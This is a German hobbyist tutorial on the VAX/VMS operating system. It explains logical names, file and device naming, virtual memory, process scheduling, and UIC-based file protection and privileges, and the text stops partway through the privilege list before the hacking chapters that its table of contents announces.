__           __           __                     
  .-----.--.--.----.|  |.--.--.--|  |.-----.--|  |  .-----.----.-----.
  |  -__|_   _|  __||  ||  |  |  _  ||  -__|  _  |__|  _  |   _|  _  |
  |_____|__.__|____||__||_____|_____||_____|_____|__|_____|__| |___  |
   by l0om - member of excluded-team                           |_____|
        
        

                            VAX/VMS Guide

      

                                  

 

Vorwort

 

Dieser Text ist ein Praxisorientierter Einstieg zum VAX/VMX Betriebssystem und damit verbundenen Themen wie der Arbeitsweise von VAX/VMX, Digital Command Language und aus VAX entstehenden Sicherheitsfragen.

 

Entstanden ist diese Dokumentation aus dem „knowhow“ des Schreibers und recairgen aus dem Internet. Es ist nicht gerade ein leichtes einen guten Text fuer VAX Einsteiger zu bekommen- besonders nicht in Deutsch. Daher habe ich mich entschieden dieses Tutorial zu schreiben. Schliesslich moechte ich niemandem zumuten sich extra ein VAX Buch zu kaufen (wir sind doch alle ANTI-NONPD!!), oder sich muehsam alle Informationen zusammen zusuchen.

 

Im Anschluss an eine kurze Einleitung ueber die Entstehungsgeschichte von VAX werden wir uns mit dem System etwas vertraut machen indem wir uns etwas Praxis aneignen. Anschliessend werden wir tiefer und tiefer in die Details gehen, um so einen guten Gesamtueberblick ueber VMS zu bekommen. Der Leser soll in die Lager versetzt werden sich gut auf jedem DCL Prompt zurechtzufinden und wird nicht nur wissen wie etwas funktioniert, sondern warum.

 

Der Text ist im Prinzip in zwei Teile geteilt:

1)    Benutzen eines VMS Rechners und

2)    Hacking im bezug auf VMS.

 

Im ersten Teil werden wir uns auf das VAX OS stuerzen. Wir werden uns ansehen wie/warum VMS Funktioniert. Das umfasst pikante Merkmale des Betriebssystems sowie dessen Handhabung/Administration ueber ein Terminal.

 

Der zweite Teil wird sich mit den Sicherheitsaspekten von VMS befassen. Es werden Schwaechen aufgezeigt um so typische Schwaechen zu vermeiden.

 

 

 

 

 

 

 

 

 

 

 

 

 

Der VAX/VMS Guide

 

Inhalt

 

1.0    Typisch VMS

1.1    Geschichtliches

1.2    Logische Namen

1.3    Dateien, Verzeichnisse und Geraete

1.4    Virtueller Speicher

1.5    Prozessverwaltung

1.6    Benutzer, Gruppen und Zugriffsrechte

1.7    DCL

1.8    DECnet

2.0    Jetzt wird’s interaktiv (praxis am Terminal)

2.1    Arbeiten mit Dateien und Verzeichnissen

2.2    Editieren

2.3    Drucken von Texten

2.4    Elektronische Post

2.5    Logische Namen

2.6    Dateischutz

2.7    VMS den Prozess machen

2.8    Remote

3.0    Hacking VMS

3.1    OS Detection und mehr Informationen

3.2    Passwort Attacken

3.3    Exploiting

3.4    Viren und Wuermer

3.5    Backdoors

3.6    Logging

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1.0    Typisch VMS

 

Was ist VMS eigentlich auf den Punkt gebracht? Die Antwort liegt auf der Hand, denn VMS ist ein Betriebssystem wie auch Windows, Linux oder BeOS. Ein Betriebssystem ermoeglicht dem Benutzer ueberhaupt mit dem Computer arbeiten zu koennen, indem es vielfaelltige Dienste und komplexe Verwaltungsaufgaben uebernimmt. Beispielsweise koennen Benutzer auf VMS einen Text schreiben und diesen abspeichern- die Verwaltung des Tasterturtreibers und der Auslastung im Arbeitsspeicher uebernimmt das Betriebssystem ohne das der Benutzer es merkt. Sicherlich waere der Benutzer mit der einfachen Eingabe eines Textes nicht zufrieden. Schliesslich soll der Text auch noch auf Rechtschreibfehler ueberprueft werden (bei dem Versuch diesen Text zu Korrigieren bekam der Author die Fehlermeldung das nicht genuegend Arbeitsspeicher dafuer vorhanden waere). Fuer solche Aufgaben bietet ein Betriebsystem viele unterschiedliche Programme. Das ganze wuerde sich in die Laenge ziehen wenn das Betriebssystem nicht mehrere Prozesse gleichzeitig Verwalten koennte.

 

All solche Aufgaben wie bzw. der Arbeitsspeicher Verwaltung wird unter VMS vom Kern (oder Kernel) erledigt. Der Kern ist tatsaechlich der Kern des Betriebssystems, ohne den nichts funktionieren wuerde. Der Kernel arbeitet Hand in Hand mit der Hardware des Computers zusammen und bildet so, eine „Schicht“ um die Hardware.

 

Wenn der Kern ein Mantel um die Hardware ist, dann sind die einzelnen Programme wie die „terminal utilities“ ein weiterer Mantel um den Kernel. Ohne solche Programme wie die genannten, kann ein Benutzer nichts mit dem System anfangen. Je nach Anforderungen an das System ist bestimmte Software installiert, die dem Benutzer das Arbeiten ermoeglicht.

 

Das Terminal ist ein Kommandointerpret, der die Benuztereingabe behandelt und so gewuenschte Programme aufruft. Ausserdem ist das Terminal ebenfalls ein Interpret der Terminal-Sprache. Auf diese werden wir gegen Ende des Textes kommen. Mit dieser Skriptsprache werden wir in die Lage versetzt, oft anfallende Aufgaben mit einem Aufruf der Skriptdatei zu erledigen. Das Terminal arbeitet mit DCL (Digital Command Language), einer Zeilenorientrierten Befehlssprache.

 

VMS ist ein Multiuser System. Das bedeutet, dass sich mehrere Benutzer zur gleichen Zeit am System anmelden koennen und zur gleichen Zeit arbeiten koennen.

 

VMS ist Multitasking faehig und ist somit in der Lage mehrere Programme gleichzeitig ablaufen zu lassen. So kann jeder Benutzer viele Prozesse ausfuehren.  So kann bsw. Benutzer A eine E-Mail schreiben waehrend Benutzer B gerade einen Text verfasst.

 

VMS ist in der Lage mit virtuellen Speicheradressen zu arbeiten und hat so 4 Gigabyte an virtuellen Speicher zur Verfuegung. OpenVMS ist im kommen! Daher bezieht sich dieser Text auch auf OpenVMS.

 

Die folgenden Informationen sind von theoretischer Natur. Wir werden in folgenden Kaptiteln zur Praxis uebergehen. Von der Praxis aus kann man so einfach zurueckblaettern (scrolen) um sich die dazugehoerige Theorie nochmals vor Auge zu fuehren.

 

 

 

1.1    Geschichtliches

 

Der Kuerzel VMS steht fuer Virtual Memory System und wurde 1976 veroeffentlicht als ein neues Betriebssystem fuer die damals entwickelten VAX (Virtual Address eXtension) Computer. Diese Computer arbeiten mit einem virtuellen Arbeitsspeicher (oder Virtuelle Adressen) der ein 32bit System nutzt. Das gibt dem VAX in Verbindung mit VMS (VAX/VMS) die moeglichkeit auf 4 Gigabyte virtuellen Speichers zuzugreifen. Wie das im einzelnen von statten geht, werden wir spaeter sehen.

 

Das erste VAX Model war wohl der 11/780 und wurde „Star“ genannt. Daraus wurde „Starlet“- ein Name an den noch die System librarys erinnern (STARLET.OLB).

 

Die erste Funktionstuechtige VAX/VMS Version 1.0 wurde 1978 fertiggestellt.

 

Wenn wir hier ueber VMS sprechen darf ein Begriff nicht fehlen- OpenVMS. OpenVMS wurde urspruenglich von HP und der Digital Equiqment Corporation (DIGITAL) entwickelt. Zwei der bekanntesten Entwicklern sind wohl Dave Cutler und Dick Hustvedt. OpenVMS wurde fuer einen PDP-11 mit einem virtuellen Adressraum von 32bit geschreiben. VAX und VMS machte Geschichte in dem es das erste System war welches von der Hardware bis zur Software von Grund auf zusammen entwickelt wurde. So wurde die Software genau auf die Hardware abgestimmt und umgekehrt. So gab es Teams die fuer die Hardware Entwicklung des VAX verantwortlich waren und wieder andere fuer die Entwicklung des VMS.

 

OpenVMS ist ein 32bit, multitsking, multiprocessing virtual memory Betriebssystem und laeuft auf VAX Systemen von HP oder andern Herstellern. Es gibt bereits OpenVMS Alpha welche mit 64-bit arbeitet.

 

„Today, OpenVMS is the most flexible and adaptable operating system on the planet. What started out as the concept of “Starlet” in 1975 is moving into Galaxy for the 21st Century. And like the universe, there is no exit in sight.”

 

   --Jesse Lipeon

Vice President of UNIX and OpenVMS Systems Buisness Unit

 

 

      1.2 Logische Namen

 

Logische Namen sind ein wichtiger Bestandteil des VMS. Das Betriebssystem arbeitet durchgehend mit logischen Namen. Einige davon sind bsw. SYS$ROOT, SYS$MANAGER oder DISK$FLOP. Mit logischen Namen kann man sich zum einen viel Schreibarbeit ersparen und zum anderen das System sehr flexible lassen. So kann man anstatt [.users.loom.bin]my_ls.exe einen logischen Namen difinieren wie B$LS (wobei das $ nicht zwanghaft angefuegt werden muss- es zeugt aber von gutem Styl vor dem $ eine wage Andeutung auf Funktion oder Ort anzugeben). Anstatt ich also den gesamten Pfad angebe, gebe ich nur den logischen Namen an. Dieser wird aus der Tabelle dafuer zustaendigen Tabelle herausgesucht und uebersetzt. Mit logischen Namen kann man anstatt der Bezeichnung DUA0: einfach eine Bezeichnung wie FESTPLATTE1 verwenden. Jeder Benutzer der sich auf einem System angemeldet hat, hat ein eignes Home-Directory. Dieses Standard-Verzeichnis ist bei jedem Benutzer mit dem logischem Namen SYS$HOME difinirt. So kann man anstelle von DUA0:[USERS.LOOM] auch mit SYS$HOME auf sein Verzeichnis zugreifen.

 

Zum anderen ist dadurch viel flexibilitaet gewaehrleistet. So werden in Systemskribts oft nur logische Namen verwendet. Der Administrator koennte ohne schwierigkeiten z.B. den Ordner [.SYSEXE] umbenennen solange der logische Name auf den neuen Verzeichnisnamen verweist. Systemskribte wuerden immer noch ihre Arbeit tuen. Das war vielleicht nicht gerade das beste Beispiel. Fuer *NIX kenner – ein logischer Name Aehnelt einem Symbolischem Link!

 

Ein anderer logischer Name der sehr oft Verwendung findet ist z.B. SYS$OUTPUT. Dieser Name legt fest, wo die Ausgabe des Rechners erscheinen soll. Standard ist natuerlich ein Terminal wie TTA1, TTA2 oder TTA3. Wenn wir diesen logischen Namen aber z.B. auf eine Datei in einem beschreibbarem Verzeichnis zeigen lassen, werden die Daten die wir normalerweise auf dem Bildschirm sehen, in die Datei geschrieben (ich hoffe dieses Beispiel macht das Prinzip klar).

 

Bei weiteren Ueberlegungen wird einem klar, dass logische Namen unterschiedliche Geltungsbereichte haben. So ist der logische Name den ein 08/15 Benutzer difiniert nicht fuer das Betriebssystem von Bedeutung. Aehnlich wie logische Namen die in Skriptdateien verwendet werden und nur fuer den ablaufenden Prozess von Bedeutung ist.

 

Einige logische Namen sollen fuer Benutzer gelten. Diese werden vom Systembetreuer difiniert und manche sollen nur fuer einen einzelnen Benutzer gelten. Darueber hinaus gibt es moeglichkeiten logische Namen fuer bestimmte Benutzergruppen zu difinieren.

 

Um all diesen Anforderungen gerecht zu werden, gibt es unter VMS Tabellen (tables), in denen logische Namen verzeichnet sind. Der Gueltigkeitsbereich eines logischen Namens haengt nur davon ab, in welcher Tabelle er sich befindet. Logische Tabellen haben Namen wie:

 

LNM$PROCESS_TABLE    -    Tabelle fuer aktuellen Prozess.

LNM$JOB_28900382     -    Tabelle fuer bestimmten Job

LNM$GROUP_000500     -    Tabelle fuer Benutzergruppe 000500

LNM$SYSTEM_TABLE     -    Tabelle mit logischen Namen Systemweit.

 

 

Logische Namen die sich in der SYSTEM_TABLE wiederfinden, werden bei der Namensvergabe bsw. mit dem vorrangehenden Kuerzel SYS$ markiert. Wenn man einen logischen Namen aufloesen will, wird Tabelle nach Tabelle auf den angegebenen Namen durchsucht.

 

  1. Prozesstabelle
  2. Jobtabelle
  3. Gruppentabelle
  4. Systemtabelle

 

Einige wichtige und immer vorhandene logische Namen aus der Systemtabelle:

 

Logischer Name        Beschreibung

DBG$INPUT             Input Datenstrom fuer den Debugger

DBG$OUTPUT            Output Datenstrom fuer den Debugger

SYS$COMMON            Geraet- und Verzeichnisname des Stammverzeichnisses

SYS$ERRORLOG          Geraet- und Verzeichnisname der Errorlog Dateien

SYS$EXAMPLES                                     mit System examples

SYS$HELP                                         mit HELP Dateien

SYS$INSTRUCTION                                  mit Systeminstruktionen

SYS$LIBRARY                                      mit systemlibraries

SYS$MANAGER                                      mit Manager Dateien

SYS$MESSAGE                                      mit Systemnachrichten

SYS$NODE               Hostname falls DECnet aktiviert ist

SYS$STARTUP            Verzeichnis mit Startdateien

SYS$SYSDEVICE          Geraet- und Verzeichnisname des VMS Systems.

SYS$SYSROOT            Root-Verzeichnis

SYS$SYSTEM             Verzeichnis mit wichtigen Systemdateien/Programmen

SYS$UPDATE             Verzeichnis oder Geraet mit Updatedateien

 

 

1.3 Dateien, Verzeichnisse und Geraete

 

Bei der Menge an Daten die ein Betriebssystem Verwalten muss, kommen Verzeichnisse gerade richtig. Diese Sorgen fuer einen einfacheren und sauber strukturierten Ueberblick ueber Dateien. So werden Systemprogramme in einem Verzeichnis gespeichert wo sich alle Systemprogramme befinden. Ausserdem ermoeglichen Verzeichnisse dem Benutzer ebenfalls einen besseren Ueberblick. So kann eine Gruppe von Benutzern die an einen Projekt arbeiten alle Daten die mit dem Projekt in Verbindung stehen einfach in einen Ordnet mit dem Namen „Projekt“ verschieben. Das ersparrt Suchen und verschafft Ueberblick.

 

Wie auch unter allen anderen Betriebsystemen kann man bei VMS die Verzeichnisstruktur wie einen Baum sehen. Nur steht unser Baum auf dem Kopf. Am Anfang des Baumes ist die Wurzel (engl. Root) die mit dem Logischen Namen SYS$DEVICE angesprochen werden kann. Diese ist die Systemplatte auf der das Betriebssystem liegt und die auch Bentuzerdaten enthaelt. Die Wurzel „SYS0“ enthaelt NUR Verzeichnisse und keine Dateien.

 

 

                [SYS0]

                  |

                  |

   ...|-----------------------|...

      |                       |

  [.SYSEXE]               [.SYSMGR]

 

 

Diese Kleine Abbildung zeigt uns den Anfang unseres Baumes. SYS0 ist die Systemplatte auf der sich Verzeichnisse befinden wie zB. SYSEXE oder SYSMGR. Anstatt auf das SYS0 Verzeichnis zuzugreifen, kann man ebenfalls den Geraetenamen der Festpalatte angeben wie bsw. „DUA1“.  Systemverzeichnisse wie SYSEXE die die Systemprogramme beinhalten haben alle einheitliche logische Namen, wie SYS$SYSTEM. Wir werden hier einige Beispiele vortragen.

 

Logischer Name     Name des Subdirectorys          Inhalt

 

SYS$MANAGER        [.SYSMGR]                Dateien, die Ueblicherweise vom

                                            Systembetreuer erstellt oder

                                            Ausgewertet werden.

 

SYS$SYSTEM         [.SYSEXE]                Programme des Betriebssystems.

 

SYS$UPDATE         [.SYSUPD]                Befehlsprozeduren als Hilfs-

                                            Mittel fuer den Systembetreuer

                                            (u.a. fuer updates oder fuers

                                             System).

 

SYS$HELP           [.SYSHLP]                 Bibliotheken mit HELP-Texten.

 

Ein weiteres Verzeichniss welches in der Regel im Verzeichnissbaum vorkommt ist [.USERS]. In diesem Verzeichnis werden Die Home-directorys der einzelnen Benuzter Verwaltet.

 

Was dem Leser wohl auffaellt ist der „.“ vor einem Verzeichnisnamen. Das haengt damit zusammen, das DCL nur volle Dateipfade akzeptiert. Der Punkt vor den Verzeichnisnamen ist eines der Sonderzeichen die in Verbindung mit Verzeichnissen unter VAX auftreten.

 

Zeichen           Bedeutung

[-]                das „darunterliegende“ Verzeichnis

[...]              alle „Ebenen“ abwaerts

[000000]           stellvertretend fuer das Wurzelverzeichnis (o. root)

[Verzeichnis...]   angegebenes Verzeichnis und seine Sub-Verzeichnisse

[.Sub-Verzeichnis] Sub-Verzeichnis des der aktuellen „Ebene“ auf der man

                   sich befindet.

 

So steht [.SYSMGR] fuer SYS$ROOT:[.SYSMGR]. So kommen wir auf einen korrekten Systemaufrufspfad:

 

DISK$FLOP:[Verzeichnis]datei.end;1

 

Der Geraetename wird ueblich von einem logischen Namen dargestellt. So fallen die Kryptisch anmutenden Bezeichnungen viel leichter. Der Geraetename kann auch fuer einen remote-host stehen. In diesem Fall muessen aber zwei Doppelpunkte folgen!

Ein Verzeichnis steht IMMER in eckigen Klammern „[]“, gefolgt von dem Dateinamen.

Jeder Dateiname hat einen Dateitypen. Weiter unten werden die haeufigst gebrauchten genannt.

Nach dem Semikolon folgt die Versionsnummer der Datei (siehe weiter unten).

 

 

Jede Datei unter VMS hat einen Namen (wer haette das gedacht?), eine Versionsnummer und eine Dateiendung. Wenn keine Dateiendung angegeben wird, wird automatisch der Datentyp .LIS erstellt. Unter Unix wird nur eine Datentypendung angefuegt, wenn diese vom Benutzer angegeben wurde.

 

Generelle Datentypen:

 

DAT – Data Dateien

DIR – Sub-Verzeichnis

EXE – Ausfuehrbare Datei

HLP – Texte fuer Help

LIS – System Listing files (TYPE, PRINT, PHOTO)

LOG – batch job ausgaben

MEM – DSR ausgabe

RNO – DSR quelltext

SIXEL – SIXEL Grafiken

SYS – System Datei

TJL – Trouble Journal

TMP – Auslagerungsdatei

TXT – Textdatei

UAF – User Autorization file

 

Mail Datentypen

 

DIS – Distribution Datei

MAI – Mail Message

TXT – Mail Ausgabe

 

Editor Datentypen

 

EDT – Command Datei fuer den EDT editor

JOU – EDT Informationen wenn Probleme auftreten

TPU – Editor command Datei

 

Programmierungs Datentypen

 

ADA – ADA quelltext

BAS – Basic quelltext

B32 – BLISS-32 quelltext

C – C quelltext

COB – Cobol quelltext

FOR – Fortran quelltext

MAR – Marcro quelltext

PAS – Pascal quelltext

PLI – PL/I quelltext

OBJ – Objektdatei die vor dem Linken vom Compiler erstellt wird

 

Ebenfalls neu fuer Unix Benutzer ist das Prinzip der Versionsnummern. Wenn man eine Datei ansprechen moechte muss dies wie folgt geschehen:

 

$ TYPE TEXT.TXT;2

 

Hier wird mittels TYPE der Inhalt der Datei TEXT.TXT Version 2 auf dem Bildschirm ausgegeben. Jedesmal wenn man TEXT.TXT modifiziert wird automatisch eine neue Versionsnummer kreiert. Dabei bleibt die alte Datei vorhanden. Wenn man also nur

 

$ DELETE TEXT.TXT

 

eingeben wuerde, wuerden wir eine Fehlermeldung erhalten, da nicht angegeben wurde, welche Version der Datei TEXT geloescht werden soll.

 

$ DELETE TEXT.TXT;2

 

Hier der richtige Aufruf des DELETE Programms/Befehls.

 

So kommen wir auch direkt zu den Metazeichen unter VMS.

 

Zeichen        Bedeutung              Beispiel

 

„*“          steht fuer beliebige    1) DELETE TEXT.TXT;* 

             Zeichenkette            2) DELETE *.TXT;*

                                  3) DELETE *.*;*

„%“          steht fuer EIN belib-   4) DELETE TEXT.TXT;%

             iges Zeichen            5) DELETE %EXT.TXT;1

 

1: Loescht alle Versionen der Datei TEXT.TXT

2: Loescht alle TXT Dateien (und Versionen)

3: Loescht alle Dateien und Versionen

4: Loescht alle Versionen der Datei TEXT.TXT

5: Loescht alle TXT Dateien welche nach dem ersten Buchstaben mit

   EXT.TXT enden (nur die erste Version).

 

 

Kommen wir noch kurz auf Geraete zu sprechen. Beispiele fuer Geraete:

 

-Festplattenlaufwerke  DJ, DA, DU ...

-Diskettenlaufwerke DX, DY, DU ...

-Magnetbandgeraete MT, MU...

 

Diese Geraete werden mit weiteren Zeichen naeher gekennzeichnet, z.B. DUA0, DUA1, $1$DUA1. In der Regel verzichtet man auf diese unueberlichtlichen Bezeichnungen und verwendet stattdessen logische Namen. Ein ausgeschriebener Geraetename besteht aus drei Teilen:

 

1: Der Geraetetyp der das Benennt (bsw. Ein TE16 Mangnetlaufwerk traegt den Geraetetyp MT, mache Festplatte DB).

 

2: Ein Wert der die Schnittstelle identifiziert mit welcher das Geraet verbunden ist.

 

3: Die Geraetenummer.

 

Wie bereits erwaehnt kann man Geraete entweder direkt mit ihrem physikalischem Namen ansprechen oder ueber einen zuvor difinierten logischen Namen. Der physische Name ist wie folgt anzugeben:

 

AABC 

 

AA = Stellt einen Geraetetyp dar.

B  = Zeigt die Schnittstelle an. Diese werden uebrigends mit A – Z nummeriert.

C  = Geraetenummer- dieser Wert muss zwischen 0-65355 liegen.

 

Bsw:

 

MTU0:

 

 

 

1.4Virtueller Speicher

 

Eigentlich hat unsere Arbeit am System nicht viel mit dem Prinzip des virtuellen Speichers zu tun, aber da dieses Kapitel „Typisch VMS“ heisst, wollen wir etwas naeher auf dieses Thema zu sprechen kommen.

 

Jeder User mit etwas Programmiererfahrung weiss ungefaehr was passiert, wenn ein geschriebenes Programm Ausgefuehrt wird. Nehmen wir an der Programmierer hat ein Programm geschrieben welches zwei Zahlen addieren soll. Bei der Ausfuehrung des Programms, werden diese beiden Zahlen in den Arbeitsspeicher geladen. Ausserdem wird die Funktion die die Addition ermoeglicht geladen. Der CPU greift durch Adressangaben auf den Arbeitsspeicher zu. Mit Hilfe dieser Informationen aus dem Arbeitsspeicher kann der CPU rechnen und das Ergebnis der Addition in einen weiteren Platz in den Arbeitsspeicher laden.

 

Unter VMS (Virtual Memory System) ist das Prinzip der virtuellen Speicherverwaltung wie folgt realisiert:

 

  1. eine virtuelle Adresse ist eine Binaerzahl von 32bit Laenge.
  2. eine Adresse spricht jeweils ein Byte an, also acht Bit.
  3. der virtuelle Adressraum ist somit 4 Gigabyte gross.

 

Virtueller Adressraum und Hauptspeicher sind in sogenannte Seiten aufgeteilt. Eine Seite (Page, im Memory auch als Page-frame bezeichnet) besteht aus 512 Bytes.

 

Zur Laufzeit eines Programms werden virtuelle Adressen in physikalische uebersetzt. Die entsprechenden Informationen gibt es fuer jede Page. Sie stehen in den sogenannten Page Tables. Jeder Eintrag (page table entry) enthaelt die Informationen, wo sich eine bestimmte virtuelle Page physikalisch befindet. Diese werden bei VMS in Prozessbereiche und Systembereiche geteilt (Prozess Page Tables, System Page Tables).

 

Jeder Prozess hat seinen eigenen Prozessbereich und seine eigene Prozess Page Table. Die Uebersetztungsinformationen fuer Adressen im Prozessbereich ist somit nur fuer einen Prozess gueltig. Dagegen sind die Adressen im Systembereich fuer alle Prozesse gleichermassen gueltig.

 

Die System Page Table werden beim Start von VMS im Boot-Vorgang aufgebaut. Die Prozess Page Table eines Prozesses wird beim Erzeugen des Prozesses angelegt. Ihr Inhalt aendert sich bei jedem Aufruf eines Programms. Beim Aufruf eines Programms wird die Prozess Page Table mit Informationen fuer dieses Programm gefuellt. Diese Informationen sind am Anfang der Programmdatei enthalten. Die Informationen in der Prozess Page Table werden beim Verlassen des Programms wieder geloescht.

 

 

1.5Prozessverwaltung

 

Ein Prozess ist ein ablaufendes Programm. Jede Aktivitaet wird in Form eines Prozesses verwaltet. Auch das Betriebssystem selbst unterhaelt eine Reihe von Prozessen.

 

Alle Prozesse konkurrieren natruelich um den Arbeitsspeicher und die CPU Aktivitaet. Leider kann sich der CPU auch nicht dritteln (oder fork()en) und kann nur Prozess um Prozess abarbeiten. Doch trotzdem schafft er es mehrere Prozesse „gleichzeitig“ auszufuehren. Wie ist das moeglich? Mit Scheduling!

 

Ein Aktiver Prozess braucht nicht durchgehend die CPU. Beispielsweise kann ein Programm auf ein bestimmtes Ereignis warten, wie z.B. eine Benutzereingabe. Man spricht von drei „festen“ Zustaenden:

 

1: CURRENT (CUR): Der Prozess wird momentan von der CPU abarbeitet

2: COMPUTABLE (COM): Wartet auf die CPU.

3: SLEEP: Wartezustand eines Prozesses auf ein bestimmtes Ereignis. Der

          Prozess benoetigt zur Zeit keine Rechenleistungen.

 

Damit die Sache auch nicht zu einfach wird, gibt es wie erwartet eine ganze Reihe von Wartezustaenden. Die wichtigsten sind hier aufgefuehrt:

 

Zustand    Bedeutung              Erklaerung

 

LEF      (local event flag wait)   Der Prozess wartet auf ein Ergebnis wie

                                   eine Ein- oder Ausgabe.

HIB       (hibernated)             Der Prozess befindet wartet auf Arbeit.

                                   Haeufig bei Systemprozessen.

 

SUSP      (suspended)              Der Prozess wurde unterbrochen (z.B.

                                   von andern Prozessen der diesen steuert)

 

PFW       (page fault wait)        Der Prozess wartet darauf, dass ein Page

                                   Fault behandelt wird, also benoetigte

                                   Seiten in den Arbeitsspeicher geladen

                                   Werden.

 

MWAIT      (miscellaneous resource Der Prozess wartet auf bestimmte System-

            wait)                  resourcen.

 

 

Es fragt sich nun noch in welcher Reihenfolge Prozesse abgearbeitet werden. Dafuer verwendet VMS Prioritaeten. Eine Prioritaet befindet sich im Stellenwert von 0-31. Je hoeher dieser Wert desto ehr befasst sich die CPU damit. Die Prioritaeten sind wie immer eingeteilt in normale Prioritaeten (0-15) und zeitkritischen Prioritaeten (16-31).

 

Normale Prozesse werden in Punkto Prioritaeten von VMS gesteuert. Das heisst also das VMS je nach ermessen dem Prozess einen Wert zwischen 0-15 zuteilt. Das Scheduling (das hin und her springen von Prozess von Prozess der CPU) wird durch Zeitverschiebungsverfahren berwerkstelligt.

 

Aufgaben des Betriebssystems haben natuerlich vor dem Benutzerprozess vorrang. Somit bekommen Systemprozesse eine hoehere Prioritaet und werden dadruch schneller abgearbeitet. Systemprozesse befinden sich oftmals im HIB Zustand.

 

 

1.6Benutzer, Gruppen und Zugriffsrechte

 

Wie wir bereits erfahren haben, ist VMS ein Multiusersystem. Das bedeutet das viele Benutzer an einem System gleichzeitig arbeiten koennen. Daher muss gewaehrleistet werden, dass nicht ausversehen oder absichtlich Dateien beschaedigt oder geloescht werden. Es muss ausserdem sichergestellt sein, dass ein Bentuzer nur die Daten lesen darf die fuer ihn bestimmt sind. Bei einem Betriebssystem wie MS-DOS gibt es keine beschraenkungen in Form von Zugriffsrechten, aber dort gibt es auch nur einen aktiven Benutzer. Wenn sich aber bei Systemen wie VMS um die 40 Benutzer aktiv sind, muss man sicher seien koennen, dass nicht aus Zufall das gesamte System beschaedigt wird.

 

Der Ausgangspunkt fuer Zugriffsrechte ist die Tatsache, dass jeder Benutzer einer eindeutige Kennung und ein geheimes Passwort hat. Einen Benutzernamen gibt es nur einmal und dieser hat ein Passwort welches unbekannt ist (auch fuer den Administratoren). Das Passwort dient als Identifikation des Benutzers. So wird sichergestellt, dass der momentan angemeldete Benutzer auch der ist fuer den man ihn haelt.

 

Der naechste Schritt ist, dass jedem Benutzer eine Datei zugeordnet wird. Das bedeutet, dass derjenige der die Datei erstellt hat auch gleichzeitig Besitzer (owner) der Datei ist. Der Besitzer der Datei hat selbstverstaendlich alle Befugnisse um an der Datei zu Arbeiten. Desweiteren kann der Besitzer Zugriffsrechte fuer diese Datei an andere verteilen.

 

Manchmal ist es sinnvoll, bestimmte Dateien nicht nur von einem Benutzer les- oder schreibbar zu machen. Dieser Fall tritt haeufig bei Projektarbeiten auf, wenn mehrere Leute mit verschiedenen Kennungen auf gemeinsame Dateien zugreifen muessen.

 

Eine moeglichkeit waere es die Datei fuer ALLE Benutzer des Systems zugaenglich zu machen. Man spricht bei solchen Berechtigungen von „world“- also alle. Das hat den Nachteil, dass eventuell bestimmte Benutzer die an diesen Dateien nichts zu verlieren haben mal schnell einen hastigen Blick drauf verlieren koennen.

 

Die manchmal bessere Moeglichkeit sind die sogenannten Bentuzergruppen. Solch eine Gruppe besteht aus einer Reihe von Benutzern. Die Zugriffsrechte der man der Datei vergibt, gellten dann nicht nur fuer einen einzelnen Benutzer, sondern fuer alle Benutzer die Mitglieder der Gruppe sind.

 

Es gibt die folgenden Rechte zu vergeben:

 

Recht       Beschreibung

 

READ        Das Recht den Dateiinhalt zu lesen

WRITE       Das Recht den Dateiinhalt zu veraendern

DELETE      Das Recht die Datei zu loeschen

EXECUTE     Das Recht eine Datei auszufuehren

 

Man kann die Rechte vergeben an

 

Zugriffsbefugte    Moegliche Befugnisse

 

SYSTEM             READ, WRITE, DELETE, EXECUTE

OWNER              READ, WRITE, DELETE, EXECUTE

GROUP              READ, WRITE, DELETE, EXECUTE

WORLD              READ, WRITE, DELETE, EXECUTE

 

In der Praxis sehen Berechtigungen aus wie etwa: „(S:RWED,O:RWED,G:RE;W)“.

Hier hat „SYSTEM“ sowie der Besitzer alle Rechte (Standart). Die Gruppe in der sich der Bentuzer befindet, hat jedoch nur das Recht zum lesen und ausfuehren der Datei. Der Schluessel „W“ steht fuer „world“ und gibt an welche Rechte diejenigen haben die weder Besitzer noch in der Gruppe des Besitzers sind (also „Fremde“). Hier im Beispiel geht „W“ leer aus. Geschuetzt werden koennen/muessen Dateien, Verzeichnisse, Geraete und Warteschlangen. Das Schutzkonzept ist immer gleich.

 

Das jetzige Prinzip des Datenschutzes wird auch UIC (User Identification Code) bezeichnet. Jeder Benutzer des VMS hat eine eindeutige ganz zahlige Kennung.

 

[REMOTE,LOOM]

 

Hier ist REMOTE der Gruppenname in dem sich der Benutzer LOOM befindet. Wenn ein Benutzer auf eine Datei zugreifen moechte wird zunaechst seine UIC mit der UIC der Datei verglichen. Moegliche Konstilationen sind wie folgt:

 

Benutzer       Datei          Benutzerkategorie

 

[REMOTE,HAVOC] [REMOTE,LOOM]  GROUP

[REMOTE,LOOM]  [REMOTE,LOOM]  OWNER

[1,110]        [REMOTE,LOOM]  SYSTEM

[PUB,BEER]     [REMOTE,LOOM]  WORLD

 

Ein Benutzer ist in der Gruppe SYSTEM vertreten wenn dieser eine UIC von einem Oktalwert von 0-10 hat. Ein Benutzer der Gruppe SYSTEM kann auf alles zugreifen, da er selbst die Privilegien veraendert.

 

Also ueberprueft VMS zunaechst einmal welche Zugriffsrechte benoetigt werden. Danach vergleicht VMS den UIC des Benutzers mit dem in der Datei und ueberprueft in welche Benutzerkategorie der Benutzer faellt. Als letztes wird ueberprueft ob diese Kategorie die erforderlichen Zugriffsrechte hat. Der letzte Schritt faellt bei dem Privileg BYPASS weg. Der Zugriff ist immer berechtigt.

 

Es liegt auf der Hand, dass solch ein Prinzip alleine viel zu einfach waere. Daher gibt es zusaetsslich zu den Zugriffsrechten Privilegien.

 

Normal:

 

MOUNT    - kann Mountfunktionen (ACP) aufrufen

NETMBX   - kann Netzwerkfunktionen bentuzen

TMPMBX   - kann eine Mailbox erstellen.

 

Group:

 

GROUP    - Kontrolle ueber Prozesse aus der selben Gruppe

GRPPRV   - Zugang zur Gruppe

 

Devour:

 

ACNT     -

ALLSPOOL –

GUBCHK   - kann bug-check log-Dateien veraendern

EXQUOTA  -

GRPNAM   - kann einen logischen Namen in die gruppen Tabelle einfuegen

PRMCEB   -

PRMGBL   -

PRMMBX   -

SHMEM    - kann neue Objekte im Speicher loeschen oder hinzufuegen

 

System:

 

ALTPRI   - kann Prioritaeteswerte veraendern

OPER     - hat Zugriff auf OPERATOR Funktionen

PSWAPM   - kann den swapmode veraendern

SHARE    - kann Geraete die nicht public sind public machen

SYSLCK   - kann Systemresourcen verschliessen

